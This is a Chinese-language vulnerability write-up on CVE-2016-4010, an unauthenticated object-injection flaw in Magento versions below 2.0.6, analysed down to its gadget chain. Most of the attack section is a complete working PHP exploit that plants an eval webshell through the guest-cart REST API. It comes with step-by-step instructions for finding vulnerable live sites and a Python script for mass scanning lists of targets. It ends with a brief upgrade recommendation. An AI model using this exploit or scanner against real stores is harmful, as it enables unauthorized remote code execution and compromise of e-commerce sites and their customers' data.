当Magento在购物车实例种设置我们的信息的时候,它会使用实例的“save”方法往数据库中存储新添加的数据。

下面我们来看看“save”方法是如何工作的吧!

/**
 * Save object data
 */
public function save(\Magento\Framework\Model\AbstractModel $object)
{
    ...
    // If the object is valid and can be saved
    if ($object->isSaveAllowed()) {
        // Serialize whatever fields need serializing
        $this->_serializeFields($object);
        ...
        // If the object already exists in the DB, update it
        if ($this->isObjectNotNew($object)) {
            $this->updateObject($object);
        // Otherwise, create a new record
        } else {
            $this->saveNewObject($object);
        }
         
        // Unserialize the fields we serialized
        $this->unserializeFields($object);
    }
    ...
    return $this;
}
 
// AbstractDb::save()

Magento确保我们的对象都是有效的,然后序列化所有应该被序列化的部分并存储在数据库里,最后再反序列化之前序列化的部分。

看起来很简单,对吧?其实不然,让我们继续看看Magento是如何判断哪些部分应该被序列化。

/**
 * Serialize serializable fields of the object
 */
protected function _serializeFields(\Magento\Framework\Model\AbstractModel $object)
{
    // Loops through the '_serializableFields' property
    // (containing hardcoded fields that should be serialized)
    foreach ($this->_serializableFields as $field => $parameters) {
        // Get the field's value
        $value = $object->getData($field);
         
        // If it's an array or an object, serialize it
        if (is_array($value) || is_object($value)) {
            $object->setData($field, serialize($value));
        }
    }
}
 
// AbstractDb::_serializeFields()

正如我们看到的,仅仅是出现在硬编码字典“_serializableFields”中的那部分能够被序列化。最重要的是,这个方法在确保了field的值是一个数组或者对象的之后才会继续去序列化。

现在,我们看看Magento是如何判断哪些部分应该被反序列化。

**
 * Unserialize serializeable object fields
 */
public function unserializeFields(\Magento\Framework\Model\AbstractModel $object)
{
    // Loops through the '_serializableFields' property
    // (containing hardcoded fields that should be serialized)
    foreach ($this->_serializableFields as $field => $parameters) {
        // Get the field's value
        $value = $object->getData($field);
         
        // If it's not an array or an object, unserialize it
        if (!is_array($value) && !is_object($value)) {
            $object->setData($field, unserialize($value));
        }
    }
}
 
// AbstractDb::unserializeFields ()

好吧,看起来非常类似。唯一的不同点是,这次Magento需要确保field的值不是一个数组或者对象。因为这2次的检查,我们应该能够实施一个对象注入攻击,即简单地在一个可序列化的field中设置一个一定规则的字符串。当我们如此设置后,系统在存储对象至数据库之前将不会序列化这个field,因为它不是对象或者数组。但是,当系统将会尝试反序列化它时,在数据库查询被执行之后,它将会被反序列化,因为它不是一个对象或者数组。

但是正是这种小到几乎看不见的条件却造成了漏洞。剩下的问题就是考虑哪些field被认为是“可序列化的”,并且我们如何设置它。

当然,第一个问题很简单,就是我仅仅需要搜索哪个类包含了“_serializableFields”属性。很快,在“Payment”类中发现了一个API方法,但是不是作为一个参数,所以不能创建或者控制它的实例属性。最重要的是,它的可序列化的field“additional_information”仅能被设置成一个数组,且使用“Set[PROPERTY_NAME]”技术作为一个额外的安全措施,所以不仅不能创建,即使能我们也不能设置成一个字符串。

但很有趣的是,它可以以另外一种“骚气”的方式去设置。当Magento设置参数实例的属性时,事实上不是真的设置属性,而是保存他们在一个命名为“_data”的字典中。当一个实例的属性被使用时,这个字典将会被使用。这对于我们来说,意味着我们的可序列化field - “additional_information”事实上被保存在一个内置的字典中而不是一个正常的属性。

所以,如果我们能够完全控制“_data”字典,那么我们就能轻松地绕过“additional_information”field的数组限制,因为我们可以手动设置它而不是去调用“Set[PROPERTY_NAME]”。

但是,我们又如何控制这个敏感的字典呢?

在保存我们“Payment”实例之前,Magento要做的一件事就是去编辑它的属性。Magento将我们的API输入当作需要被存储在“Payment”实例中的支付信息,如下:

/**
 * Adds a specified payment method to a specified shopping cart.
 */
public function set($cartId, \Magento\Quote\Api\Data\PaymentInterface $method)
{
     
    $quote = $this->quoteRepository->get($cartId); // Get the cart instance
    $payment = $quote->getPayment(); // Get the payment instance
 
    // Get the data from the user input
    $data = $method->getData();
     
    // Check for additional data
    if (isset($data['additional_data'])) {
        $data = array_merge($data, (array)$data['additional_data']);
        unset($data['additional_data']);
    }
     
    // Import the user input to the Payment instance
    $payment->importData($data);
     
    ...
}
 
// PaymentMethodManagement::set()

正如我们看到的,“Payment”数据通过调用“$method->getData()”从“$method”参数中返回“_data”属性来获取。记住,因为“$method”是API方法的一个参数,所以我们能够控制它。

当Magenta在我们的“$method”参数里调用“getData()”时,参数的“_data”属性将会返回,并包含了我们插入的所有的支付信息。之后,它以“_data”属性作为输入去调用“importData()”,用我们的“_data”属性去替换掉“Payment”实例的“_data”属性。至此,我们现在能够使用我们可以控制的“_data”属性去替“Payment”实例中敏感的“_data”属性,也就意味着,我们现在可以设置“addition_information”field。

为了让unserialize()起作用,我们需要field能否被设置成字符串,但是“Set[PROPERTY_NAME]”方法仅仅允许数组。解决方法是在调用“importData()”之前放2行代码。Magento允许开发者去增加他们自己的支付方法,提供他们自己的数据和信息。为了实现这个,Magento使用了“addition_data”field。而这个field则是一个包含更多数据的支付方法且完全用户可控的字典。为了能让定制化的内容成为原始数据的一部分,Magento将“additional_data”字典与原始的“data”字典合并在一起,实际上就是允许“additional_data”字典去覆盖“data”字典里的所有的值,基本上也就是可以完全覆写。这也就意味着,在2个字典合并之后,用户可控的“additional_data”字典现在变成了参数“_data”字典,并且因为“importData()”,它也变成了“Payment”实例中敏感的“_data”属性。换句话说,我们现在已经完全控制了可序列化的field“additional_information”,并可以实施对象注入攻击了。

既然我们可以反序列化任何我们想要的字符串,那么是时候进行对象注入攻击了。

首先,我们需要一个带有“__wakeup()”或者“__destruct()”方法的对象,以便当对象被反序列化或者销毁时能够被自动调用。这是因为即使我们能够控制对象的属性,但是我们不能调用它的方法。这也是为什么我们必须依赖PHP的magical方法,当某个事件发生时它能够被自动调用。

我们将使用的第一个对象是“Credis_Client”类的一个实例,它包含如下的方法:

/*
 * Called automaticlly when the object is destrotyed.
 */
public function __destruct()
{
    if ($this->closeOnDestruct) {
        $this->close();
    }
}
 
/*
 * Closes the redis stream.
 */
public function close()
{
    if ($this->connected && ! $this->persistent) {
            ...
            $result = $this->redis->close();
    }
    ...
}
 
// Credis_Client::__destruct(), close()

我们可以看到,这个类有一个简单的“__destruct”方法(当对象被销毁时它将会被PHP自动调用)去调用“close()”方法。有意思的是,“close()”方法如果发现有一个主动连接至Redis服务器,它就会去调用“redis”属性中的“close()”去关闭它。

由于“ unserialize()”允许我们去控制所有的对象属性,所以我们也可以控制“redis”属性。我们可以在属性里(不仅仅是Redis)设置任意一个我们想要的对象,并在系统的任意一个类中调用任意一个“close()”方法。这也大大地扩大了我们的攻击面。在Magento中有一些”close()”方法并且由于这些方法通常是用来终止流,关闭文件句柄以及存储对象数据,故而我们应该可以找到一些有趣的调用。

正如我们预期的,我们找到了下面这个在“Transaction”类中的“close()”方法:

/**
 * Close this transaction
 */
public function close($shouldSave = true)
{
    ...
    if ($shouldSave) {
        $this->save();
    }
    ...
}
 
/**
 * Save object data
 */
public function save()
{
    $this->_getResource()->save($this);
    return $this;
}
 
// Magento\Sales\Model\Order\Payment\Transaction::__destruct(), close()

看起来很简单,“close()”方法调用“save()”方法接下来调用“_resource”属性中的“save()”方法。相同的思路,因为我们控制了“_resource”属性所以我们也能控制它的类,故我们能调用任何我们想要的类的“save()”方法。

又向前迈了一大步了。正如我们猜想的那样,“save()”方法通常是用来在各种存储介质里(如:文件系统,数据库等)保存各种数据。现在我们需要做的事情就是找到一个使用文件系统当做存储介质的“save()”方法。

很快,我找到了一个:

/**
 * Try to save configuration cache to file
 */
public function save()
{
    ...
    // save stats
    file_put_contents($this->getStatFileName(), $this->getComponents());
    ...
}
 
// Magento\Framework\Simplexml\Config\Cache\File::save()

这个方法其实是将“components”field中的数据保存在一个文件中。因为文件的路径是从“stat_file_name”field中获取的,另外由于我们控制了这2个参数,我们实际上控制了文件的路径和内容,这就产生了一个任意文件写入的漏洞。

现在我们只需要考虑找到一个有效的可写的并且可被web服务器访问的路径去写入文件。在所有的Magento安装目录中有一个“/pub”的目录,它是用来存储图片或者管理员上传的文件,这是一个可有效利用的路径。

最后我们只需要简单的写一个PHP的webshell文件到服务器上,就可以在Magento服务器上未授权执行任意PHP代码。

0x02 利用

测试环境搭建

1. 下载有漏洞的安装包(这里使用的是2.0.0版本)

下载地址:https://github.com/magento/magento2/archive/2.0.0.zip

2. 安装Magento

安装步骤:https://github.com/magento/magento2/tree/2.0.0

注意:此处可能会遇到一些问题可参见:

http://magento2king.com/magento2-insta-be-downloaded/

https://github.com/magento/magento2/issues/2419

漏洞利用

exploit-db上公开的漏洞exp((https://www.exploit-db.com/exploits/39838/),稍作修改如下:

<?php

// Exploit Title: [CVE-2016-4010] Magento unauthenticated arbitrary unserialize -> arbitrary write file
// Date: 18/05/206
// Exploit Author: agix (discovered by NETANEL RUBIN)
// Vendor Homepage: https://magento.com
// Version: < 2.0.6
// CVE : CVE-2016-4010

// to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)
//
// If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.


class Magento_Framework_Simplexml_Config_Cache_File extends DataObject
{
    function __construct($data){
        $this->_data = $data;
    }
}

class Credis_Client{
    const TYPE_STRING      = 'string';
    const TYPE_LIST        = 'list';
    const TYPE_SET         = 'set';
    const TYPE_ZSET        = 'zset';
    const TYPE_HASH        = 'hash';
    const TYPE_NONE        = 'none';
    const FREAD_BLOCK_SIZE = 8192;

    /**
     * Socket connection to the Redis server or Redis library instance
     * @var resource|Redis
     */
    protected $redis;
    protected $redisMulti;

    /**
     * Host of the Redis server
     * @var string
     */
    protected $host;

    /**
     * Port on which the Redis server is running
     * @var integer
     */
    protected $port;

    /**
     * Timeout for connecting to Redis server
     * @var float
     */
    protected $timeout;

    /**
     * Timeout for reading response from Redis server
     * @var float
     */
    protected $readTimeout;

    /**
     * Unique identifier for persistent connections
     * @var string
     */
    protected $persistent;

    /**
     * @var bool
     */
    protected $closeOnDestruct = TRUE;

    /**
     * @var bool
     */
    protected $connected = TRUE;

    /**
     * @var bool
     */
    protected $standalone;

    /**
     * @var int
     */
    protected $maxConnectRetries = 0;

    /**
     * @var int
     */
    protected $connectFailures = 0;

    /**
     * @var bool
     */
    protected $usePipeline = FALSE;

    /**
     * @var array
     */
    protected $commandNames;

    /**
     * @var string
     */
    protected $commands;

    /**
     * @var bool
     */
    protected $isMulti = FALSE;

    /**
     * @var bool
     */
    protected $isWatching = FALSE;

    /**
     * @var string
     */
    protected $authPassword;

    /**
     * @var int
     */
    protected $selectedDb = 0;

    /**
     * Aliases for backwards compatibility with phpredis
     * @var array
     */
    protected $wrapperMethods = array('delete' => 'del', 'getkeys' => 'keys', 'sremove' => 'srem');

    /**
     * @var array
     */
    protected $renamedCommands;

    /**
     * @var int
     */
    protected $requests = 0;


    public function __construct($resource) {
        $this->redis = new Magento_Sales_Model_Order_Payment_Transaction($resource);
    }
}

class DataObject
{
    /**
     * Object attributes
     *
     * @var array
     */
    protected $_data = [];

    /**
     * Setter/Getter underscore transformation cache
     *
     * @var array
     */
    protected static $_underscoreCache = [];
}

abstract class AbstractModel2 extends DataObject
{
    /**
     * Prefix of model events names
     *
     * @var string
     */
    protected $_eventPrefix = 'core_abstract';

    /**
     * Parameter name in event
     *
     * In observe method you can use $observer->getEvent()->getObject() in this case
     *
     * @var string
     */
    protected $_eventObject = 'object';

    /**
     * Name of object id field
     *
     * @var string
     */
    protected $_idFieldName = 'id';

    /**
     * Data changes flag (true after setData|unsetData call)
     * @var $_hasDataChange bool
     */
    protected $_hasDataChanges = false;

    /**
     * Original data that was loaded
     *
     * @var array
     */
    protected $_origData;

    /**
     * Object delete flag
     *
     * @var bool
     */
    protected $_isDeleted = false;

    /**
     * Resource model instance
     *
     * @var \Magento\Framework\Model\ResourceModel\Db\AbstractDb
     */
    protected $_resource;

    /**
     * Resource collection
     *
     * @var \Magento\Framework\Model\ResourceModel\Db\Collection\AbstractCollection
     */
    protected $_resourceCollection;

    /**
     * Name of the resource model
     *
     * @var string
     */
    protected $_resourceName;

    /**
     * Name of the resource collection model
     *
     * @var string
     */
    protected $_collectionName;

    /**
     * Model cache tag for clear cache in after save and after delete
     *
     * When you use true - all cache will be clean
     *
     * @var string|array|bool
     */
    protected $_cacheTag = false;

    /**
     * Flag which can stop data saving after before save
     * Can be used for next sequence: we check data in _beforeSave, if data are
     * not valid - we can set this flag to false value and save process will be stopped
     *
     * @var bool
     */
    protected $_dataSaveAllowed = true;

    /**
     * Flag which allow detect object state: is it new object (without id) or existing one (with id)
     *
     * @var bool
     */
    protected $_isObjectNew = null;

    /**
     * Validator for checking the model state before saving it
     *
     * @var \Zend_Validate_Interface|bool|null
     */
    protected $_validatorBeforeSave = null;

    /**
     * Application Event Dispatcher
     *
     * @var \Magento\Framework\Event\ManagerInterface
     */
    protected $_eventManager;

    /**
     * Application Cache Manager
     *
     * @var \Magento\Framework\App\CacheInterface
     */
    protected $_cacheManager;

    /**
     * @var \Magento\Framework\Registry
     */
    protected $_registry;

    /**
     * @var \Psr\Log\LoggerInterface
     */
    protected $_logger;

    /**
     * @var \Magento\Framework\App\State
     */
    protected $_appState;

    /**
     * @var \Magento\Framework\Model\ActionValidator\RemoveAction
     */
    protected $_actionValidator;

    /**
     * Array to store object's original data
     *
     * @var array
     */
    protected $storedData = [];
}

abstract class AbstractExtensibleModel extends AbstractModel2
{
    protected $extensionAttributesFactory;

    /**
     * @var \Magento\Framework\Api\ExtensionAttributesInterface
     */
    protected $extensionAttributes;

    /**
     * @var AttributeValueFactory
     */
    protected $customAttributeFactory;

    /**
     * @var string[]
     */
    protected $customAttributesCodes = null;

    /**
     * @var bool
     */
    protected $customAttributesChanged = false;

}

abstract class AbstractModel extends AbstractExtensibleModel
{
}

class Magento_Sales_Model_Order_Payment_Transaction extends AbstractModel
{
    /**#@+
     * Supported transaction types
     * @var string
     */
    const TYPE_PAYMENT = 'payment';

    const TYPE_ORDER = 'order';

    const TYPE_AUTH = 'authorization';

    const TYPE_CAPTURE = 'capture';

    const TYPE_VOID = 'void';

    const TYPE_REFUND = 'refund';

    /**#@-*/

    /**
     * Raw details key in additional info
     */
    const RAW_DETAILS = 'raw_details_info';

    /**
     * Order instance
     *
     * @var \Magento\Sales\Model\Order\Payment
     */
    protected $_order = null;

    /**
     * Parent transaction instance
     * @var \Magento\Sales\Model\Order\Payment\Transaction
     */
    protected $_parentTransaction = null;

    /**
     * Child transactions, assoc array of transaction_id => instance
     *
     * @var array
     */
    protected $_children = null;

    /**
     * Child transactions, assoc array of txn_id => instance
     * Filled only in case when all child transactions have txn_id
     * Used for quicker search of child transactions using isset() as opposite to foreaching $_children
     *
     * @var array
     */
    protected $_identifiedChildren = null;

    /**
     * Whether to perform automatic actions on transactions, such as auto-closing and putting as a parent
     *
     * @var bool
     */
    protected $_transactionsAutoLinking = true;

    /**
     * Whether to throw exceptions on different operations
     *
     * @var bool
     */
    protected $_isFailsafe = true;

    /**
     * Whether transaction has children
     *
     * @var bool
     */
    protected $_hasChild = null;

    /**
     * Event object prefix
     *
     * @var string
     * @see \Magento\Framework\Model\AbstractModel::$_eventPrefix
     */
    protected $_eventPrefix = 'sales_order_payment_transaction';

    /**
     * Event object prefix
     *
     * @var string
     * @see \Magento\Framework\Model\AbstractModel::$_eventObject
     */
    protected $_eventObject = 'order_payment_transaction';

    /**
     * Order website id
     *
     * @var int
     */
    protected $_orderWebsiteId = null;

    /**
     * @var \Magento\Sales\Model\OrderFactory
     */
    protected $_orderFactory;

    /**
     * @var \Magento\Framework\Stdlib\DateTime\DateTimeFactory
     */
    protected $_dateFactory;

    /**
     * @var TransactionFactory
     */
    protected $_transactionFactory;

    /**
     * @var \Magento\Sales\Api\OrderPaymentRepositoryInterface
     */
    protected $orderPaymentRepository;

    /**
     * @var \Magento\Sales\Api\OrderRepositoryInterface
     */
    protected $orderRepository;

    /**
     * @param \Magento\Framework\Model\Context $context
     * @param \Magento\Framework\Registry $registry
     * @param \Magento\Framework\Api\ExtensionAttributesFactory $extensionFactory
     * @param AttributeValueFactory $customAttributeFactory
     * @param \Magento\Sales\Model\OrderFactory $orderFactory
     * @param \Magento\Framework\Stdlib\DateTime\DateTimeFactory $dateFactory
     * @param TransactionFactory $transactionFactory
     * @param \Magento\Framework\Model\ResourceModel\AbstractResource $resource
     * @param \Magento\Framework\Data\Collection\AbstractDb $resourceCollection
     * @param array $data
     * @SuppressWarnings(PHPMD.ExcessiveParameterList)
     */
    public function __construct($resource) {
        $this->_resource = $resource;
    }
}

class Magento_Framework_DB_Transaction{
    protected $_objects = [];

    /**
     * Transaction objects array with alias key
     *
     * @var array
     */
    protected $_objectsByAlias = [];

    /**
     * Callbacks array.
     *
     * @var array
     */
    protected $_beforeCommitCallbacks = ["phpinfo"];
}

if(count($argv) < 3){
    echo 'Usage: '.$argv[0].' <magento_uri> <guestCartId> (whereToWrite)'.chr(0x0a);
    echo 'To get a valid guestCartId'.chr(0x0a);
    echo '* add an item in your cart'.chr(0x0a);
    echo '* go to checkout'.chr(0x0a);
    echo '* fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information'.chr(0x0a);
    echo '(* in the response check the payment method it may vary from "checkmo")'.chr(0x0a).chr(0x0a);
    echo 'If you didn\'t provide whereToWrite, it will execute phpinfo to leak path.'.chr(0x0a);
    exit();
}

if(count($argv) === 4){
    $data = [];
    $data['is_allowed_to_save'] = True;
    $data['stat_file_name'] = $argv[3];
    $data['components'] = '<?php eval($_POST[1]);?>';
    $resource = new Magento_Framework_Simplexml_Config_Cache_File($data);
}
else{
    $resource = new Magento_Framework_DB_Transaction();
}

$redis = new Credis_Client($resource);
$serialized = serialize($redis);

$payload = json_decode('{"paymentMethod":{"method":"checkmo", "additional_data":{"additional_information":""}}, "email": "valid@magento.com"}');

$payload->paymentMethod->additional_data->additional_information = str_replace('Magento_Framework_DB_Transaction', 'Magento\\Framework\\DB\\Transaction', str_replace('Magento_Sales_Model_Order_Payment_Transaction', 'Magento\\Sales\\Model\\Order\\Payment\\Transaction', str_replace('Magento_Framework_Simplexml_Config_Cache_File', 'Magento\\Framework\\Simplexml\\Config\\Cache\\File', $serialized)));

for($i=0; $i<2; $i++){
    $c = curl_init($argv[1].'/rest/V1/guest-carts/'.$argv[2].'/set-payment-information');
    curl_setopt($c, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    curl_setopt($c, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_exec($c);
    curl_close($c);
}

?>

利用方法如下:

1. 找到有漏洞的Magento网站

Magento版本在线检查:http://magentoversion.com/

2. 添加一个商品进入购物车

3. 进入购物车点击“结算”

4. 填写邮寄地址并查看POST请求/rest/default/V1/guest-carts/[guestCartId]/shipping-information并获取[guestCartID]

5. 保存上面的exp为magento_exp.php并执行:php magento_exp.php [Magento_URL] [guestCartID] ([webshell写入路径]) 

批量检测

经过对上面exp的研究发现该利用需要满足下面几个条件:

1. 目标站点的Magento版本需要小于2.0.6且开启了REST API

2. 目标站点首页需要存在下面这段JS

因此,写了一个简单的批量验证脚本来配合上面的exp进行利用:

#!/usr/bin/env python

import urllib
import sys
import socket
timeout = 5
socket.setdefaulttimeout(timeout)

input = sys.argv[1]  #包含Magento站点的URL的文件
output = sys.argv[2] #结果的保存文件,可以为:output.txt

def logFile(str):
	f = open(output,'a')
	f.write(str+"\n")
	f.close()

def checkVul(url):
	try:
		html = urllib.urlopen(url).read()
		if "guest-carts" in html:
			print url,"is vulnerable!"
			logFile(url)
		else:
			print url,"is not vulnerable!"
	except Exception:
		pass

if __name__ == '__main__':
	inp = open(input,'r')
	for i in inp:
		url=i.strip()
		#print url
		checkVul(url)
	print "All Done!"

执行效果:

0x03 防御

升级Magento到最新版(2.0.6),下载地址: https://www.magentocommerce.com/download

参考

https://github.com/brianwrf/Magento-CVE-2016-4010/blob/master/README.md

http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/

https://www.exploit-db.com/exploits/39838/